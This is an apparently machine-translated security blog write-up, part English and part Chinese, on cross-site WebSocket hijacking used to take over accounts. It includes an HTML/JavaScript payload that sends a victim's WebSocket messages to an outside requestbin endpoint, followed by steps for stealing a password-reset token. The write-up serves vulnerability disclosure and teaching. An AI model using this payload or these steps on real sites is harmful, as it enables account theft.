Shulou(Shulou.com)05/31 Report--

This article to share with you is about how to use cross-site WebSocket hijacking CSWh to achieve account hijacking, Xiaobian think it is quite practical, so share it with you to learn, I hope you can gain something after reading this article, not much to say, follow Xiaobian to see it.

The following is shared by the author in a vulnerability test, because the target application uses the WebSocket protocol, after testing, there is a cross-site WebSocket hijacking vulnerability. After that, the author exploited this vulnerability in combination with the user password reset function to achieve an account hijacking attack on the target application registered account.

WebSocket Protocol Technology

WebSocket is a new protocol introduced by HTML5 and has nothing to do with the HTTP protocol content itself. WebSocket is a persistent protocol, while HTTP is a non-persistent connection. WebSocket provides full-duplex communication, commonly known as TCP connection of Web, and WebSocket realizes message flow based on TCP. WebSocket is also similar to TCP handshake connection, with TCP is different, WebSocket is based on HTTP handshake protocol, it provides an efficient full-duplex communication channel between the client and server based on a single TCP connection. After the communication protocol switches from http://or https://to ws://or wss://, the application has switched to the WebSocket protocol communication state.

For real-time applications, such as online securities, online games, and information synchronization between different devices. Real-time synchronization of information has always been a technical problem. Before the emergence of WebSocket, the common solutions were polling and Comet technologies, but these technologies increased the complexity of the design, and also caused additional burden on the network and server. In the case of large load, the efficiency was relatively low, resulting in restrictions on the scalability of the application. For developers of such applications, WebSocket technology is simply a weapon. For details, please visit websocket.org to see specific application cases.

Cross-site WebSocket Hijacking Vulnerability

For example, the following is a handshake request and response between the websocket.org website and its Echo test server echo.websocket.org, switching from HTTP to WebSocket protocol upgrade.

WebSocket protocol switch request:

GET ws://echo.websocket.org/? encoding=text HTTP/1.1Host: echo.websocket.orgConnection: UpgradePragma: no-cacheCache-Control: no-cacheUpgrade: websocketOrigin: http://www.websocket.orgSec-WebSocket-Version: 13User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) Chrome/49.0.2623.110Accept-Encoding: gzip, deflate, sdchAccept-Language: en-US,en;q=0.8,zh-CN;q=0.6Cookie: _gat=1; _ga=GA1.2.2904372.1459647651; JSESSIONID=1A9431CF043F851E0356F5837845B2ECSec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

The Connection: Upgrade and Upgrade: websocket lines are equivalent to telling the server that I want to apply for a switch to the WebSocket protocol.

WebSocket protocol switch response:

HTTP/1.1 101 Web Socket Protocol HandshakeAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Headers: content-typeAccess-Control-Allow-Headers: authorizationAccess-Control-Allow-Headers: x-websocket-extensionsAccess-Control-Allow-Headers: x-websocket-versionAccess-Control-Allow-Headers: x-websocket-protocolAccess-Control-Allow-Origin: http://www.websocket.orgConnection: UpgradeDate: Sun, 03 Apr 2016 03:09:21 GMTSec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo=Server: Kaazing GatewayUpgrade: websocket

Once the server returns a 101 response, the WebSocket protocol switch can be completed. The server side can switch the communication protocol from http://or https://to ws://or wss://based on the same port. Once the protocol switch is complete, browsers and servers can send and receive text and binary messages to and from each other using the WebSocket API.

As can be seen from the above request response message, the WebSocket protocol does not specify that Origin must be the same, does not specify "Access-Control-Allow-Origin," and does not specify how the server should authenticate the client identity during the handshake phase. Cross-Origin Resource Sharing (CORS) mechanism does not apply to the WebSocket protocol. So in this case, an attacker can forge handshake requests to bypass identity authentication, and the final effect is Cross-Site WebSocket Hijacking (CSHH).

Cross-site WebSocket Hijacking Vulnerability Found

With the above understanding of cross-site WebSocket hijacking attacks, the author found an application that uses WebSocket protocol connection in an invitation test project. After analyzing WebSocket URL, the author found that there is a cross-site WebSocket hijacking vulnerability.

Suppose an application uses wss://website.com to establish a WebSocket protocol channel. To verify whether it has a cross-site WebSocket hijacking vulnerability, you can follow the following steps:

1. Open the target Web application page in the browser;

2. Visit http://websocket.org/echo.html in the new tab of the browser, enter the WebSocket URL of the target application- wss://website.com in the Location field, and click the 'Connect' connection;

Once the WebSocket connection is established with the target WebSocket URL, data can be sent to the target server through the test page. In this process, we can use BurpSuite to grab the valid websocket data session package, and then replay the package by changing the origin header to see the response of the target server. If the server response after replay is the same as the normal packet sent by the previous valid session, it indicates that the application may have a cross-site WebSocket hijacking vulnerability.

Of course, cross-site WebSocket hijacking vulnerability detection website- http://ironwasp.org/cswsh.html can also be used to determine whether the vulnerability exists. Through the detection and analysis of the above steps, I finally found that the application has a cross-site WebSocket hijacking vulnerability.

Account hijacking using cross-site WebSocket hijacking vulnerability

When I establish a WebSocket connection with the target app in my browser, I get WebSocket response packets like the following:

Looking closely at the above figure, we can see that it contains a parameter named "_forgotPasswordId" and the value is "null", so now we need to determine the value of this "_forgotPasswordId" and see if we can use it. Correspondingly, in the browser, I entered the forgotten password function page of a registered mailbox corresponding to the target application in https mode, as follows:

之后，我查看此时的WebSocket响应数据包时，它为forgotPassword带了一个token，很明显，这表示我的此次操作得到了服务端验证。

所以，这种跨站WebSocket劫持和密码重置功能的组合，可以充分利用形成对目标应用特定用户的账户劫持。为此，我写了以下的Payload脚本CSWH.html，用XHR方式向目标应用服务端发送WebSocket连接请求：

Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket frame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(evt.data); websocket.close(); } function onError(evt) { writeToScreen('ERROR: ' + evt.data); } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre[xss_clean] = message; output.appendChild(pre); } window.addEventListener("load", init, false); WebSocket Test

账号劫持步骤：

1、把目标应用的正常密码重置请求页面发送给受害者;

2、在攻击者网站托管上述CSWH.html，把该html访问链接也发送受害者;

3、一旦受害者分别点击了上述两个URL链接之后，攻击者端就能通过数据包监听方式获取到目标应用服务端对此次密码重置的Websocket响应消息，如下：

4、利用其中的密码重置token，我们就能向目标应用服务端伪造请求，实现对受害者账户的密码重置，以此实现对其账户劫持。

以上就是如何利用跨站WebSocket劫持CSWH实现账户劫持，小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.